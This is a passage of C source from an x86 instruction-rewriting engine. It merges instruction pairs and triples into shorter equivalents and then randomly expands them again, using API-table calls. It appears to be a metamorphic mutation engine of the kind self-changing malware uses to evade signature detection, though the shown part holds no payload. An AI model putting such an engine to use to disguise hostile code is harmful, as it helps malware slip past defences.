                                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
                                {
                                    pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction;
                                    pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction;
                                }
                            }
                            
                            RelocateMemory(pCurrentSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION));
                            
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x89;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlag32BitSingleModRM;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit;
                            pCurrentSynonymousX86InstructionAbstraction->DBit=0;
                            pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                            pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x88;
                            pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x88;
                            pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111
                            pCurrentSynonymousX86InstructionAbstraction->ModRM |= (CurrentSourceRegister << 3);
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                            pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister;
                            pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister;
                            pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister;
                            pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;

                            continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xFF)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x06) // 110
                        {
                            // Push [Effective Address (32)]
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F)
                            {
                                // Push [Effective Address (32)] + Pop Reg(32) -> Mov Reg(32), [Effective Address (32)]
                                
                                CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister;
                                CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                                
                                pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x8B;
                                pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x8A;
                                pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                                pCurrentSynonymousX86InstructionAbstraction->DBit=1;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111
                                pCurrentSynonymousX86InstructionAbstraction->ModRM |= (CurrentDestinationRegister << 3);
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~(X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagExtendedOpcode);
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                                
                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                
                                continue;
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68)
                    {
                        // Push Constant32
                        
                        CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister;
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F)
                        {
                            // Push Constant32 + Pop Reg(32) -> Mov Reg(32), Constant32

                            pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagRegWBit;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0xB8 + CurrentDestinationRegister);
                            pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                            pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                            
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                        }
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x8F)
                        {
                            // Push Constant32 + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Constant32
                            
                            dwConstant=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1];
                            
                            pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            
                            pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction;
                            pCurrentAddressAbstraction=pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction;
                            
                            RelocateMemory(pCurrentSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION));
                            
                            pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentAddressAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC7;
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= (X86InstructionStandardFlagData32|X86InstructionStandardFlagAddressModeWBit);
                            pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength;
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength += 4;
                            *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=dwConstant;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~(X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagBlankReg);
                            
                            pPreviousSynonymousX86InstructionAbstraction=NULL;
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Opcode == 0x83)
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Reg == 0x00 && pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->DestinationRegister == 4 && (CHAR)pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->dwDataOffset] == -4)
                                {
                                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction;
                                }
                            }
                        
                            //system("pause");
                            
                            //continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x88)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1 && pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0)
                        {
                            if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == 4 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == 5)
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x5D)
                                {
                                    // Mov Esp, Ebp + Pop Ebp -> Leave
                                    
                                    pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0;
                                    pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC9;
                                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagIsolatedVerb;
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0;
                                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                    pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                    
                                    continue;
                                }
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x81)
                        {
                            if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister)
                            {
                                // Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta -> Mov Reg(32), Constant32
                                
                                pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                
                                *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] += *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset];
                                
                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x81)
                        {
                            if(pCurrentSynonymousX86InstructionAbstraction->ModRM == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->ModRM && pCurrentSynonymousX86InstructionAbstraction->SIB == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->SIB)
                            {
                                if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory))
                                {
                                    if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8))
                                    {
                                        if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset] == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwMemoryOffset])
                                        {
                                            bValidDisplacement=TRUE;
                                        }
                                    }
                                    else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32))
                                    {
                                        if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset] == *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwMemoryOffset])
                                        {
                                            bValidDisplacement=TRUE;
                                        }
                                    }
                                }
                                else
                                {
                                    bValidDisplacement=TRUE;
                                }
                                
                                if(bValidDisplacement)
                                {
                                    // Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta -> Mov [Effective Address (32)], Constant32
                                    
                                    pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                
                                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] += *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset];
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                    pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                }
                            }
                        }
                    }
                    
                    if(pPreviousSynonymousX86InstructionAbstraction != NULL)
                    {
                        if(pPreviousSynonymousX86InstructionAbstraction->Opcode == 0x83)
                        {
                            if(pPreviousSynonymousX86InstructionAbstraction->Reg == 0x00 && pPreviousSynonymousX86InstructionAbstraction->Mod == 0xC0 && pPreviousSynonymousX86InstructionAbstraction->DestinationRegister == 4 && (CHAR)pPreviousSynonymousX86InstructionAbstraction->Data[pPreviousSynonymousX86InstructionAbstraction->dwDataOffset] == -4)
                            {
                                // Add Esp, -4
    
                                if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0xC7)
                                {
                                    if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Mod == 0x00 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Rm == 0x04 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Index == 4 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Scale == 1 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Base == 4)
                                    {
                                        // Add Esp, -4 + Mov Dword [Esp], Constant32 -> Push Constant32
                                        
                                        pDiscardableLinks[0]=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                       
                                        if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction != NULL)
                                        {
                                            if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
                                            {
                                                pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol=pPreviousSynonymousX86InstructionAbstraction;
                                                pPreviousSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction;
                                            }
                                        }
                                
                                        pPreviousSynonymousX86InstructionAbstraction->dwInstructionLength=5;
                                        pPreviousSynonymousX86InstructionAbstraction->Opcode=pPreviousSynonymousX86InstructionAbstraction->Data[0]=0x68;
                                        *(PDWORD)&pPreviousSynonymousX86InstructionAbstraction->Data[1]=*(PDWORD)&pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset];
                                        pPreviousSynonymousX86InstructionAbstraction->dwDataOffset=1;
                                        pPreviousSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32;
                                        pPreviousSynonymousX86InstructionAbstraction->dwExtendedFlags=0;
                                        
                                        pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                        pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        
        // Walk instruction list and identify/shrink triple sequences of instructions.
        
        //printf("[*] Shrinking triple instruction sequences...\r\n");
        
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {   
            // Push Ebp + Mov Ebp, Esp + Add Esp, -Constant8 -> Enter Constant16, 0(8)
            
            for(dwX=0; dwX < 2; dwX++)
            {
                if(pDiscardableLinks[dwX] != NULL)
                {
                    pAPITable->GlobalFree(pDiscardableLinks[dwX]);
                    
                    pDiscardableLinks[dwX]=NULL;
                }
            }
            
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
            {       
                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
                {
                    if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
                    {                                                                                                     
                        if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x50 && pCurrentSynonymousX86InstructionAbstraction->Opcode < 0x58)
                        {
                            // Push Reg(32)
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == 5) // Ebp
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DBitOpcode == 0x88)
                                {
                                    // Mov Reg1, Reg2
                                    
                                    if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->WBit == 1 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Mod == 0xC0)
                                    {
                                        if(!(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F) && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x83)
                                        {
                                            if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister == 4 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode
                                            {
                                                // Push Ebp + Mov Ebp, Esp + Add Esp, -Constant8 -> Enter Constant16, 0(8)
                                                
                                                pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                                pDiscardableLinks[1]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                                
                                                pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0;
                                                pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1;
                                                pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC8;
                                                
                                                if((pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                                                {
                                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes + 2];
                                                }
                                                else
                                                {
                                                    *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes + 2];
                                                }
                                                
                                                pCurrentSynonymousX86InstructionAbstraction->Data[3]=0;
                                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData16|X86InstructionStandardFlagData8;
                                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0;
                                                pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=4;
                                                
                                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                                pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                                
                                                continue;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    for(dwX=0; dwX < 2; dwX++)
    {
        if(pDiscardableLinks[dwX] != NULL)
        {
            pAPITable->GlobalFree(pDiscardableLinks[dwX]);
            
            pDiscardableLinks[dwX]=NULL;
        }
    }
            
    if(bExpandCode)
    {
        // Walk instruction list and mutate triple instructions
        
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {
            // Enter Constant16, 0(8) -> Push Ebp + Mov Ebp, Esp + Add Esp, -Constant32
            
            if((pAPITable->Rand() % 2) == 0)
            {
                continue;
            }
            
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
            {
                CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC8 && pCurrentSynonymousX86InstructionAbstraction->Data[3] == 0)
                {
                    // Enter Constant16, 0(8) -> Push Ebp + Mov Ebp, Esp + Add Esp, -Constant32
                    // Push Ebp
                    
                    dwConstant=*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1];
                    
                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x55;
                    pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=5;
                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0;
                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                    
                    // Mov Ebp, Esp
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x88;
